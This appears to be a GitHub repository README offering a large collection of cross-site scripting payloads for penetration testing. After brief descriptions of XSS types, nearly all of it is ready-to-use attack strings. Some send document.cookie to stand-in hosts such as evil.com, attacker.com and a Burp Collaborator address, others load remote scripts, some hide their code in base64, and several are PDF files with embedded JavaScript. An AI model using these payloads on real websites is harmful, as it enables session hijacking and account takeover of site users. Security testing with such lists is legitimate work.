This repository is a comprehensive collection of XSS (Cross-Site Scripting) Payloads designed for educational, research, and penetration testing purposes. It includes payloads for various XSS attack types, ranging from common techniques to advanced exploitation methods. Security researchers, bug bounty hunters, and developers can utilize these payloads to test, identify, and mitigate XSS vulnerabilities effectively.
This repository features payloads for the following XSS attack types:
- Occurs when untrusted data is included in the immediate response without proper validation.
- Payload Example:
<script>alert(1)</script>
- Occurs when malicious scripts are permanently stored on the server and executed when accessed.
- Payload Example:
<img src="x" onerror="alert(1)">
- Exploits client-side JavaScript manipulation within the DOM.
- Payload Example:
document.write("<img src='x' onerror='alert(1)'>");
- Injects payloads in areas that execute later (e.g., admin panels, logs).
- Payload Example:
<svg onload=alert(1)>
- Exploits users tricked into executing malicious code in their own browsers.
- Payload Example:
javascript:alert(document.cookie)
- Exploits HTML parsers that automatically modify injected payloads.
- Payload Example:
<a href="javascript:alert(1)">Click me</a>
- Uses hybrid payloads that execute in multiple contexts (HTML, JavaScript, etc.).
- Payload Example:
"><img src=x onerror=alert(1)>
- Exploits browser vulnerabilities rather than web applications.
- Payload Example: Browser-specific exploits vary widely.
- Injects payloads directly into HTML attributes.
- Payload Example:
<input value='" onfocus="alert(1)' autofocus>
- Exploits insecure cookies to deliver malicious scripts.
- Payload Example:
document.cookie="malicious=1"; alert(document.cookie);
- Exploits XSS payloads via HTTP POST requests.
- Payload Example:
<input type="text" value="<script>alert(1)</script>">
- Injects malicious code into JSON responses processed by JavaScript.
- Payload Example:
{"name":"<script>alert(1)</script>"}
- Exploits insecure WebSocket connections to inject scripts.
- Payload Example:
ws.send('<script>alert(1)</script>')
- Payloads that exploit third-party integrations to execute code.
- Payload Example: Using vulnerable API endpoints.
- Uses iframes to deliver XSS payloads.
- Payload Example:
<iframe src="javascript:alert(1)"></iframe>
- Injects JavaScript directly into PDF viewers.
- Payload Example:
/#whatever#javascript:alert(document.cookie)
- Exploits SVG elements to trigger malicious code.
- Payload Example:
<svg><script>alert(1)</script></svg>
- Targets Flash vulnerabilities (mainly legacy systems).
- Payload Example: Flash-specific exploits vary based on software version.
- Payloads designed to exploit AJAX requests.
- Payload Example:
$.get("/vuln", {data:"<script>alert(1)</script>"});
- Exploits misconfigured Content Security Policies.
- Payload Example:
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))">
- Uses encoding techniques to bypass security filters.
- Payload Example:
<script>alert(1)</script>
- Executes payloads via JavaScript event handlers.
- Payload Example:
<img src=x onerror=alert(1)>
- Targets insecure JSONP endpoints to execute payloads.
- Payload Example:
callback=<script>alert(1)</script>
- Exploits XMLHttpRequest to deliver payloads.
- Payload Example:
xhr.open("GET", "javascript:alert(1)", true);
<script>alert('XSS')</script>"><script>alert('XSS')</script><img src=x onerror=alert('XSS')><svg onload=alert('XSS')><iframe src="javascript:alert('XSS')"></iframe><body onload=alert('XSS')><link rel="stylesheet" href="javascript:alert('XSS')"><a href="javascript:alert('XSS')">Click me</a><input value="" onfocus="alert('XSS')"><div onmouseover="alert('XSS')">Hover me</div>
"><img src=x onerror=alert('XSS')>"><svg onload=alert('XSS')><img src=1 onerror='alert("XSS")'><svg><script>alert('XSS')</script>javascript:alert('XSS')data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=<iframe src="javascript:alert('XSS')"></iframe>" onfocus="alert('XSS')" autofocus" onclick="alert('XSS')">Click me'><img src=x onerror=alert('XSS')>
<script>alert('Stored XSS')</script><img src=x onerror=alert('Stored XSS')><svg onload=alert('Stored XSS')><iframe src="javascript:alert('Stored XSS')"></iframe><body onload=alert('Stored XSS')><link rel="stylesheet" href="javascript:alert('Stored XSS')"><a href="javascript:alert('Stored XSS')">Click me</a><input value="" onfocus="alert('Stored XSS')"><div onmouseover="alert('Stored XSS')">Hover me</div><marquee onstart="alert('Stored XSS')">Scroll me</marquee>
"><img src=x onerror=alert('Stored XSS')>"><svg onload=alert('Stored XSS')><img src=1 onerror='alert("Stored XSS")'><svg><script>alert('Stored XSS')</script>javascript:alert('Stored XSS')data:text/html;base64,PHNjcmlwdD5hbGVydCgnU3RvcmVkIFhTUycpPC9zY3JpcHQ+<iframe src="javascript:alert('Stored XSS')"></iframe>" onfocus="alert('Stored XSS')" autofocus" onclick="alert('Stored XSS')">Click me'><img src=x onerror=alert('Stored XSS')>
#<script>alert('DOM XSS')</script>#<img src=x onerror=alert('DOM XSS')>#<svg onload=alert('DOM XSS')>#<iframe src="javascript:alert('DOM XSS')"></iframe>#<body onload=alert('DOM XSS')>#<link rel="stylesheet" href="javascript:alert('DOM XSS')">#<a href="javascript:alert('DOM XSS')">Click me</a>#<input value="" onfocus="alert('DOM XSS')">#<div onmouseover="alert('DOM XSS')">Hover me</div>#<marquee onstart="alert('DOM XSS')">Scroll me</marquee>
#"><img src=x onerror=alert('DOM XSS')>#"><svg onload=alert('DOM XSS')>#<img src=1 onerror='alert("DOM XSS")'>#<svg><script>alert('DOM XSS')</script>#javascript:alert('DOM XSS')#data:text/html;base64,PHNjcmlwdD5hbGVydCgnRE9NIFhTUycpPC9zY3JpcHQ+#<iframe src="javascript:alert('DOM XSS')"></iframe>#" onfocus="alert('DOM XSS')" autofocus#" onclick="alert('DOM XSS')">Click me#'><img src=x onerror=alert('DOM XSS')>
<script src=https://your-burpcollaborator.com></script>"><script src=https://your-burpcollaborator.com></script>"><img src=x onerror=this.src='https://your-burpcollaborator.com'>"><iframe src="javascript:eval('dGhpcy5sb2NhdGlvbiA9ICdodHRwczovL3lvdXItYnVycGNvbGxhYm9yYXRvci5jb20nOw==')"></iframe>"><svg onload=eval(atob('YWxlcnQoJ0JsaW5kIFhTUycp'))>"><body onload="fetch('https://your-burpcollaborator.com')">"><link rel="stylesheet" href="https://your-burpcollaborator.com">"><a href="javascript:fetch('https://your-burpcollaborator.com')">Click me</a>"><input value="" onfocus="fetch('https://your-burpcollaborator.com')">"><div onmouseover="fetch('https://your-burpcollaborator.com')">Hover me</div>
"><img src=x onerror=eval(atob('YWxlcnQoJ0JsaW5kIFhTUycp'))>"><svg onload="fetch('https://your-burpcollaborator.com')">"><iframe src="javascript:fetch('https://your-burpcollaborator.com')"></iframe>"><script>new Image().src='https://your-burpcollaborator.com?cookie='+document.cookie</script>"><img src=1 onerror="new Image().src='https://your-burpcollaborator.com?cookie='+document.cookie">"><img src=x onerror='fetch("https://your-burpcollaborator.com")'>"><iframe src="javascript:alert('Blind XSS')"></iframe>"><marquee onstart="fetch('https://your-burpcollaborator.com')">Scroll me</marquee>"><input value="" onfocus="fetch('https://your-burpcollaborator.com')">"><a href="javascript:fetch('https://your-burpcollaborator.com')">Click me</a>
javascript:alert(document.cookie)<img src=x onerror=alert(document.cookie)><svg onload=alert(document.cookie)><iframe src="javascript:alert(document.cookie)"></iframe><body onload="alert(document.cookie)"><a href="javascript:alert(document.cookie)">Click me</a><input value="" onfocus="alert(document.cookie)"><div onmouseover="alert(document.cookie)">Hover me</div><img src=x onerror="console.log(document.cookie)"><svg onload="console.log(document.cookie)">
javascript:fetch('https://evil.com?cookie='+document.cookie)<img src=x onerror="fetch('https://evil.com?cookie='+document.cookie)"><iframe src="javascript:fetch('https://evil.com?cookie='+document.cookie)"></iframe><svg onload="fetch('https://evil.com?cookie='+document.cookie)"><body onload="fetch('https://evil.com?cookie='+document.cookie)"><a href="javascript:fetch('https://evil.com?cookie='+document.cookie)">Click me</a><input value="" onfocus="fetch('https://evil.com?cookie='+document.cookie)"><div onmouseover="fetch('https://evil.com?cookie='+document.cookie)">Hover me</div><img src=x onerror="new Image().src='https://evil.com?cookie='+document.cookie"><svg onload="new Image().src='https://evil.com?cookie='+document.cookie">
Here are 200+ Mutation XSS Payloads designed to bypass filters and mutate in the DOM:
<img src=x oNerrOr=alert(1)><scr<script>ipt>alert(1)</script>"><img src=x oNerrOr=alert(1)><svg onload=alert(1)>"><svg onload=alert(1)><b onmouseover=alert(1)>Hover me</b><input value=""><img src=x oNerrOr=alert(1)><iframe src="javascript:alert(1)"></iframe>"><iframe src="javascript:alert(1)"></iframe><marquee onstart=alert(1)>Scroll me</marquee>
<img src=x onerror="javascript:alert(1)"><b onmouseover="alert(1)">Hover me</b><svg><script>alert(1)</script><a href="javascript:alert(1)">Click me</a><iframe src="javascript:alert(1)"></iframe>"><marquee onstart="alert(1)">Scroll me</marquee><svg><img src=x onerror="alert(1)"></svg><input value=""><img src=x onerror="alert(1)">"><svg><script>alert(1)</script></svg><b onmouseover="alert(1)">Hover me</b>
<script src=//evil.com></script>">'><script>alert('XSS')</script><img src=x onerror=alert(1)><svg onload=alert(1)><iframe src="javascript:alert(1)"></iframe><body onload=alert(1)><a href="javascript:alert(1)">Click me</a><input value="" onfocus=alert(1)><div onmouseover=alert(1)>Hover me</div><marquee onstart=alert(1)>Scroll me</marquee>
<script>window.open('javascript:alert(1)')</script>javascript:alert(1)//<iframe src='javascript:alert(1)'></iframe><img src=x onerror=window.open('javascript:alert(1)')><svg/onload=window.open('javascript:alert(1)')>javascript://%0Aalert(1)javascript:alert(1)
<img src=x onerror=alert(1)><input type="text" value="" onfocus=alert(1)><div onmouseover=alert(1)>Hover me</div><body onload=alert(1)><a href="javascript:alert(1)">Click me</a><marquee onstart=alert(1)>Scroll me</marquee><form action="javascript:alert(1)">Submit</form><video src="x" onerror=alert(1)></video><button onclick=alert(1)>Click me</button><link rel="stylesheet" href="javascript:alert(1)">
<script>document.cookie="sessionid=abcd1234; path=/;"</script><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script><img src="x" onerror="document.cookie='xss=1';alert(document.cookie)"><body onload="document.cookie='auth=admin'"><script>document.write('<img src="http://attacker.com/?c='+escape(document.cookie)+'">')</script><script>new Image().src='https://attacker.com/log?cookie='+document.cookie;</script><iframe src="javascript:alert(document.cookie)"></iframe><svg/onload="alert(document.cookie)"><input type="hidden" value="" onfocus="alert(document.cookie)"><form action="javascript:alert(document.cookie)">Submit</form>
username=<script>alert(1)</script>&password=1234name=John&comment=<img src=x onerror=alert('XSS')>email=test@example.com&feedback=<svg/onload=alert('XSS')>message=<iframe src=javascript:alert('XSS')></iframe>content=<a href="javascript:alert('XSS')">Click me</a>data=<div onmouseover=alert('XSS')>Hover me</div>search=<input type='text' value='' onfocus=alert('XSS')>phone=<marquee onstart=alert('XSS')>Scroll me</marquee>info=<form action="javascript:alert('XSS')">Submit</form>location=<video src=x onerror=alert('XSS')></video>
{
"username": "<script>alert('XSS')</script>",
"comment": "<img src=x onerror=alert('XSS')>",
"email": "test@example.com",
"feedback": "<svg/onload=alert('XSS')>",
"message": "<iframe src=javascript:alert('XSS')></iframe>",
"content": "<a href='javascript:alert('XSS')'>Click me</a>",
"data": "<div onmouseover=alert('XSS')>Hover me</div>",
"search": "<input type='text' value='' onfocus=alert('XSS')>",
"phone": "<marquee onstart=alert('XSS')>Scroll me</marquee>",
"info": "<form action='javascript:alert('XSS')'>Submit</form>",
"location": "<video src=x onerror=alert('XSS')></video>"
}ws = new WebSocket('ws://victim.com/socket');
ws.onopen = function() {
ws.send("<script>alert('XSS')</script>");
};
ws = new WebSocket('ws://victim.com/socket');
ws.onmessage = function(event) {
eval(event.data); // Potential XSS if data is unsanitized
};
ws = new WebSocket('ws://victim.com/socket');
ws.onopen = function() {
ws.send("{"key":"<img src=x onerror=alert('XSS')>")};
};
ws = new WebSocket('ws://victim.com/socket');
ws.onopen = function() {
ws.send("{"payload":"<svg/onload=alert('XSS')>")};
};
ws = new WebSocket('ws://victim.com/socket');
ws.onopen = function() {
ws.send("{"data":"<iframe src=javascript:alert('XSS')></iframe>")};
};<a href="javascript:alert('XSS')">Click Me</a>
<img src="http://attacker.com/evil.png" onerror="alert('XSS')">
<input value="" onfocus="alert('XSS')">
<iframe src="javascript:alert('XSS')"></iframe>
<svg><script>alert('XSS')</script></svg>
<body onload="alert('XSS')"></body>
<object data="javascript:alert('XSS')"></object>
<details open ontoggle="alert('XSS')"></details>
<marquee onstart="alert('XSS')">XSS Test</marquee>
<video src onerror="alert('XSS')"></video><iframe src="javascript:alert('XSS')"></iframe>
<iframe srcdoc="<script>alert('XSS')</script>"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="> </iframe>
<iframe src="//evil.com/xss.html"></iframe>
<iframe src="javascript:document.write('<img src=x onerror=alert(1)>')"></iframe>
<iframe src="javascript:parent.location='javascript:alert(1)'"> </iframe>
<iframe src="http://victim.com" onload="alert('XSS')"></iframe>
<iframe src="about:blank" onload="this.contentWindow.document.write('<img src=x onerror=alert(1)>')"></iframe>
<iframe src="javascript:alert(document.cookie)"></iframe>
<iframe srcdoc="<svg/onload=alert('XSS')>"></iframe>%PDF-1.5
1 0 obj
<< /OpenAction 2 0 R >>
endobj
2 0 obj
<< /S /JavaScript /JS (alert('XSS')) >>
endobj
xref
0 3
0000000000 65535 f
0000000010 00000 n
0000000079 00000 n
trailer
<< /Root 1 0 R >>
startxref
118
%%EOF
%PDF-1.4
1 0 obj
<< /Type /Catalog /OpenAction 2 0 R >>
endobj
2 0 obj
<< /S /JavaScript /JS (alert('PDF XSS')) >>
endobj
xref
0 3
0000000000 65535 f
0000000010 00000 n
0000000079 00000 n
trailer
<< /Root 1 0 R >>
startxref
118
%%EOF
%PDF-1.3
1 0 obj
<< /Type /Catalog /OpenAction 2 0 R >>
endobj
2 0 obj
<< /S /JavaScript /JS (alert(document.cookie)) >>
endobj
xref
0 3
0000000000 65535 f
0000000010 00000 n
0000000079 00000 n
trailer
<< /Root 1 0 R >>
startxref
118
%%EOF<svg xmlns="http://www.w3.org/2000/svg">
<script>alert('XSS')</script>
</svg>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"></svg>
<svg><g onload="alert('XSS')"></g></svg>
<svg><a xlink:href="javascript:alert('XSS')">Click me</a></svg>
<svg xmlns="http://www.w3.org/2000/svg">
<animate attributeName="x" from="0" to="1" onbegin="alert('XSS')"></animate>
</svg>
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject>
<body xmlns="http://www.w3.org/1999/xhtml">
<script>alert('XSS')</script>
</body>
</foreignObject>
</svg><embed src="http://vulnerable.com/xss.swf?alert('XSS')">
<object data="http://vulnerable.com/xss.swf?alert('XSS')"></object>
<object type="application/x-shockwave-flash" data="http://vulnerable.com/xss.swf">
<param name="movie" value="http://vulnerable.com/xss.swf?alert('XSS')">
</object>
<embed src="data:application/x-shockwave-flash;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="/>
<object data="data:application/x-shockwave-flash;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=" type="application/x-shockwave-flash"></object>$.get("/vulnerable", {data: "<script>alert('XSS')</script>"});
$.post("/vulnerable", {data: "<img src='x' onerror='alert(1)'>"});
fetch('/vulnerable?data=<script>alert(1)</script>');
var xhr = new XMLHttpRequest();
xhr.open("GET", "/vulnerable?data=<svg onload=alert('XSS')>");
xhr.send();
jQuery.ajax({
url: '/vulnerable',
data: { input: '<script>alert(1)</script>' }
});<script src="//evil.com/xss.js"></script>
<script>fetch('https://evil.com/?c='+document.cookie)</script>
<script>eval('alert(1)')</script>
<script src=data:application/javascript;base64,YWxlcnQoMSk=></script>
<script>window['ale'+'rt'](1)</script>
<img src=x onerror=eval('ale'+'rt(1)')>
<script>setTimeout('alert(1)',0)</script>
<svg><script>alert`1`</script></svg>
<a href="javascript:alert(1)">Click me</a>
<iframe src="javascript:alert('XSS')"></iframe><script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg><script>alert(1)</script></svg>
<iframe src="javascript:alert('XSS')"></iframe>
<body onload=alert('XSS')>
<video><source onerror="alert('XSS')"></video>
<object data="javascript:alert('XSS')"></object>
<a href="javascript:alert(1)">Click me</a>
<marquee onstart=alert('XSS')></marquee>
<div style="animation-name:rotation" onanimationstart="alert('XSS')"></div><button onclick="alert('XSS')">Click Me</button>
<img src=x onerror=alert(1)>
<body onload=alert('XSS')>
<marquee onstart=alert('XSS')></marquee>
<div onmouseover="alert('XSS')">Hover me</div>
<input type="text" value="Test" onfocus="alert('XSS')">
<a href="#" onmousedown="alert('XSS')">Down</a>
<form action="#" onsubmit="alert('XSS')">
<video><source onerror="alert('XSS')"></video>
<object data="javascript:alert('XSS')"></object><script src="https://example.com/jsonp?callback=alert(1)"></script>
<script src="https://example.com/api?callback=console.log&data=<img src=x onerror=alert(1)>"></script>
<script src="https://example.com/?jsonp=alert(document.cookie)"></script>
<script>$.getScript('https://example.com/callback?data=<svg onload=alert(1)>')</script>
<script src="https://example.com/jsonp?callback=alert&data=<img src=x onerror=alert('XSS')>"></script>
<script src="https://example.com/api?cb=alert('XSS')"></script>
<script src="https://example.com/api?callback=alert&xss=<script>alert(1)<\/script>"></script>
<script src="https://example.com/jsonp?callback=fetch('https://attacker.com/?cookie='+document.cookie)"></script>
<script src="https://example.com/?callback=alert(document.domain)"></script>
<script src="https://example.com/api?jsonp=alert(1)"></script><script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://example.com/api?data=<img src=x onerror=alert(1)>', true);
xhr.send();
</script>
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://example.com/login', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('username=admin&password=<script>alert(1)</script>');
</script>
<script>
fetch('https://example.com/api?data=<svg onload=alert(1)>')
.then(response => response.text())
.then(data => document.write(data));
</script>
<script>
$.get('https://example.com/api?data=<img src=x onerror=alert(1)>');
</script>
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://example.com/api?data='+encodeURIComponent("<script>alert('XSS')<\/script>"), true);
xhr.send();
</script>
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', '/search?q=<img src=x onerror=alert(1)>', true);
xhr.send();
</script>
<script>
fetch('/api?callback=alert(1)')
.then(response => response.text())
.then(eval);
</script>
<script>
$.ajax({
url: 'https://example.com/api?data=<script>alert(1)</script>',
success: function(data) {
document.write(data);
}
});
</script>
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://example.com/api?query=<img src=x onerror=alert(1)>', true);
xhr.send();
</script>
<script>
$.getJSON('https://example.com/api?callback=alert&data=<img src=x onerror=alert(1)>');
</script>